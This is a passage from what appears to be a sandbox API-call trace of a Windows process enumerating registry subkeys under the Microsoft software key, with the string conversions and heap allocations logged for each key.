dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0xddc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0023.793] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.793] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.793] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.793] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.793] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0xddb930, cchName=0x104 | out: lpName="Intel") returned 0x0 [0023.793] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0023.793] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0xddc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0023.793] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.793] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.793] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.793] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.793] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x5, lpName=0xddb930, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0023.793] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0023.793] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0xddc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0023.794] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.794] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.794] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.794] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.794] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x6, lpName=0xddb930, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0023.794] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0023.794] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0xddc0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0023.794] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.794] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.794] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.794] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.794] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f774 | out: phkResult=0x18f774*=0x24) returned 0x0 [0023.794] RegCloseKey (hKey=0xa0) returned 0x0 [0023.794] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0xddb930, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0023.794] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0023.794] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0xddc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0023.794] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.794] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.794] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.794] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.794] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0xddb930, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0023.794] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.794] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0xddc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0023.794] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.795] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.795] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.795] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.795] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0xddb930, cchName=0x104 | out: lpName="ADs") returned 0x0 [0023.795] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0023.795] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0xddc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0023.795] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.795] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.795] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.795] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.795] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0xddb930, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0023.795] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0023.795] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0xddc0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0023.795] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.795] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.795] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.795] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.795] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0xddb930, cchName=0x104 | out: lpName="ALG") returned 0x0 [0023.795] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0023.795] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0xddc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0023.795] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.795] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.795] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.795] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.795] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0xddb930, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0023.795] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0023.796] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0xddc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0023.796] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.796] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.796] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.796] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.796] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0xddb930, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0023.796] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0023.796] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0xddc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0023.796] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.796] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.796] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.796] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.796] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0xddb930, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0023.796] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.796] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0xddc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0023.796] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.796] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.796] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.796] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.796] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0xddb930, cchName=0x104 | out: lpName="COM3") returned 0x0 [0023.796] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0023.796] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0xddc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0023.796] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.796] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.796] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.796] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.797] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0xddb930, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0023.797] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0023.797] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0xddc0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0023.797] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.797] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.797] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.797] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.797] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0xddb930, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0023.797] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0023.797] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0xddc120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0023.797] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.797] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.797] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.797] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.797] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0xddb930, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0023.797] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.797] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0xddc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0023.797] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.797] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.797] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.797] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.797] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0xddb930, cchName=0x104 | out: lpName="CTF") returned 0x0 [0023.797] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0023.797] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0xddc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0023.797] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.797] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.798] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.798] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.798] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0xddb930, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0023.798] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0023.798] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0xddc0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0023.798] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.798] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.798] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.798] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.798] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0xddb930, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0023.798] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0023.798] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0xddc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0023.798] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.798] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.798] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.798] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.798] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0xddb930, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0023.798] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0023.798] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0xddc0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0023.798] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.798] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.798] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.798] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.798] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0xddb930, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0023.798] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0023.798] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0xddc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0023.799] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.799] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.799] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.799] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.799] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0xddb930, cchName=0x104 | out: lpName="DFS") returned 